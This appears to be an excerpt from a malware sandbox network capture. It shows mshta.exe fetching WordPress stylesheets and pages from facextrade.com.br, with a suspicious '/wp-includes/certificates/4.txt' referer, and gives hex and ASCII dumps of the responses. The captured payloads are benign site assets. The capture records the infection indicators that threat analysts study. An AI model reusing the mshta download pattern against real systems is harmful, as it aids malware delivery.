                                                                                      Aug 16, 2022 11:39:30.024009943 CEST1178INData Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d
                                                                                      Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
                                                                                      Aug 16, 2022 11:39:30.024060011 CEST1180INData Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73
                                                                                      Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
                                                                                      Aug 16, 2022 11:39:30.024095058 CEST1180INData Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79
                                                                                      Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
                                                                                      Aug 16, 2022 11:39:30.024137020 CEST1181INData Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67
                                                                                      Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
                                                                                      Aug 16, 2022 11:39:30.024178028 CEST1183INData Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73
                                                                                      Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
                                                                                      Aug 16, 2022 11:39:30.240120888 CEST1195INData Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f
                                                                                      Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      10192.168.2.349755187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:32.753290892 CEST1622OUTGET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:32.976561069 CEST1623INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:32 GMT
                                                                                      Server: Apache
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:25:36 GMT
                                                                                      ETag: "a4f8ac-193-58592c71f7400"
                                                                                      Accept-Ranges: bytes
                                                                                      Content-Length: 403
                                                                                      Connection: close
                                                                                      Content-Type: text/css
                                                                                      Data Raw: 62 6f 64 79 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 73 74 61 74 69 63 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 62 6f 78 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 32 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 62 67 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 0a 09 74 6f 70 3a 20 30 3b 0a 09 6c 65 66 74 3a 20 30 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 62 67 2d 69 6e 6e 65 72 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 0a 7d
                                                                                      Data Ascii: body .main-holder {overflow: hidden;position: static;}.parallax-box {position: relative;}.parallax-content {position: relative;z-index: 2;}.parallax-bg {position: absolute;overflow:hidden;top: 0;left: 0;width: 100%;height:100%;}.parallax-bg-inner {position:relative;background-repeat: no-repeat;background-size: cover;background-position: center;max-width:none;}


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      11192.168.2.349756187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:32.990947008 CEST1623OUTGET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:33.228872061 CEST1626INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:33 GMT
                                                                                      Server: Apache
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:36:00 GMT
                                                                                      ETag: "a4fbb9-6cf-58592ec50f000"
                                                                                      Accept-Ranges: bytes
                                                                                      Content-Length: 1743
                                                                                      Connection: close
                                                                                      Content-Type: text/css
                                                                                      Data Raw: 64 69 76 2e 77 70 63 66 37 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 20 2e 73 63 72 65 65 6e 2d 72 65 61 64 65 72 2d 72 65 73 70 6f 6e 73 65 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 63 6c 69 70 3a 20 72 65 63 74 28 31 70 78 2c 20 31 70 78 2c 20 31 70 78 2c 20 31 70 78 29 3b 0a 09 68 65 69 67 68 74 3a 20 31 70 78 3b 0a 09 77 69 64 74 68 3a 20 31 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 72 65 73 70 6f 6e 73 65 2d 6f 75 74 70 75 74 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 32 65 6d 20 30 2e 35 65 6d 20 31 65 6d 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 2e 32 65 6d 20 31 65 6d 3b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 66 30 30 30 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 6d 61 69 6c 2d 73 65 6e 74 2d 6f 6b 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 33 39 38 66 31 34 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 6d 61 69 6c 2d 73 65 6e 74 2d 6e 67 2c 0a 64 69 76 2e 77 70 63 66 37 2d 61 62 6f 72 74 65 64 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 66 30 30 30 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 73 70 61 6d 2d 62 6c 6f 63 6b 65 64 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 66 61 35 30 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 2d 76 61 6c 69 64 61 74 69 6f 6e 2d 65 72 72 6f 72 73 2c 0a 64 69 76 2e 77 70 63 66 37 2d 61 63 63 65 70 74 61 6e 63 65 2d 6d 69 73 73 69 6e 67 20 7b 0a 09 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 66 37 65 37 30 30 3b 0a 7d 0a 0a 2e 77 70 63 66 37 2d 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 77 72 61 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 0a 73 70 61 6e 2e 77 70 63 66 37 2d 6e 6f 74 2d 76 61 6c 69 64 2d 74 69 70 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 66 30 30 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 75 73 65 2d 66 6c 6f 61 74 69 6e 67 2d 76 61 6c 69 64 61 74 69 6f 6e 2d 74 69 70 20 73 70 61 6e 2e 77 70 63 66 37 2d 6e 6f 74 2d 76 61 6c 69 64 2d 74 69 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 74 6f 70 3a 20 32 30 25 3b 0a 09 6c 65 66 74 3a 20 32 30 25 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 31 30 30 3b 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 66 66 30 30 30 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 70 61 64 64 69 6e 67 3a 20 2e 32 65 6d 20 2e 38 65 6d 3b 0a 7d 0a 0a 73 70 61 6e 2e 77 70 63 66 37 2d 6c 69 73 74 2d 69 74 65 6d 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 30 20 30 20 31 65 6d 3b 0a 7d 0a 0a 73 70 61 6e 2e 77 70 63 66 37 2d 6c 69 73 74 2d 69 74 65 6d 2d 6c 61 62 65 6c 3a 3a 62 65 66 6f 72 65 2c 0a 73 70 61 6e 2e 77 70 63 66 37 2d 6c 69 73 74 2d 69 74 65 6d 2d 6c 61 62 65 6c 3a 3a 61 66 74 65 72 20 7b 0a 09 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 77 70 63
                                                                                      Data Ascii: div.wpcf7 {margin: 0;padding: 0;}div.wpcf7 .screen-reader-response {position: absolute;overflow: hidden;clip: rect(1px, 1px, 1px, 1px);height: 1px;width: 1px;margin: 0;padding: 0;border: 0;}div.wpcf7-response-output {margin: 2em 0.5em 1em;padding: 0.2em 1em;border: 2px solid #ff0000;}div.wpcf7-mail-sent-ok {border: 2px solid #398f14;}div.wpcf7-mail-sent-ng,div.wpcf7-aborted {border: 2px solid #ff0000;}div.wpcf7-spam-blocked {border: 2px solid #ffa500;}div.wpcf7-validation-errors,div.wpcf7-acceptance-missing {border: 2px solid #f7e700;}.wpcf7-form-control-wrap {position: relative;}span.wpcf7-not-valid-tip {color: #f00;font-size: 1em;font-weight: normal;display: block;}.use-floating-validation-tip span.wpcf7-not-valid-tip {position: absolute;top: 20%;left: 20%;z-index: 100;border: 1px solid #ff0000;background: #fff;padding: .2em .8em;}span.wpcf7-list-item {display: inline-block;margin: 0 0 0 1em;}span.wpcf7-list-item-label::before,span.wpcf7-list-item-label::after {content: " ";}.wpc
                                                                                      Aug 16, 2022 11:39:33.228913069 CEST1626INData Raw: 66 37 2d 64 69 73 70 6c 61 79 2d 6e 6f 6e 65 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 20 2e 61 6a 61 78 2d 6c 6f 61 64 65 72 20 7b 0a 09 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b
                                                                                      Data Ascii: f7-display-none {display: none;}div.wpcf7 .ajax-loader {visibility: hidden;display: inline-block;background-image: url('../../images/ajax-loader.gif');width: 16px;height: 16px;border: none;padding: 0;margin: 0 0 0 4px;ve


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      12192.168.2.349757187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:33.209837914 CEST1624OUTGET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:34.375778913 CEST1629INHTTP/1.1 404 Not Found
                                                                                      Date: Tue, 16 Aug 2022 09:39:33 GMT
                                                                                      Server: Apache
                                                                                      Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                      Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                      Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"
                                                                                      Connection: close
                                                                                      Transfer-Encoding: chunked
                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                      Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68
                                                                                      Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found | Facex</title><meta name="description" content=" &raquo; Pgina no encontrada | Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
                                                                                      Aug 16, 2022 11:39:34.375814915 CEST1630INData Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65
                                                                                      Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
                                                                                      Aug 16, 2022 11:39:34.375838041 CEST1631INData Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74
                                                                                      Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
                                                                                      Aug 16, 2022 11:39:34.375858068 CEST1632INData Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65
                                                                                      Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
                                                                                      Aug 16, 2022 11:39:34.377321005 CEST1633INData Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61
                                                                                      Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
                                                                                      Aug 16, 2022 11:39:34.377352953 CEST1635INData Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d
                                                                                      Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
                                                                                      Aug 16, 2022 11:39:34.377376080 CEST1636INData Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73
                                                                                      Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
                                                                                      Aug 16, 2022 11:39:34.377394915 CEST1636INData Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79
                                                                                      Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
                                                                                      Aug 16, 2022 11:39:34.384170055 CEST1638INData Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67
                                                                                      Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
                                                                                      Aug 16, 2022 11:39:34.384208918 CEST1639INData Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73
                                                                                      Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
                                                                                      Aug 16, 2022 11:39:34.600812912 CEST1653INData Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f
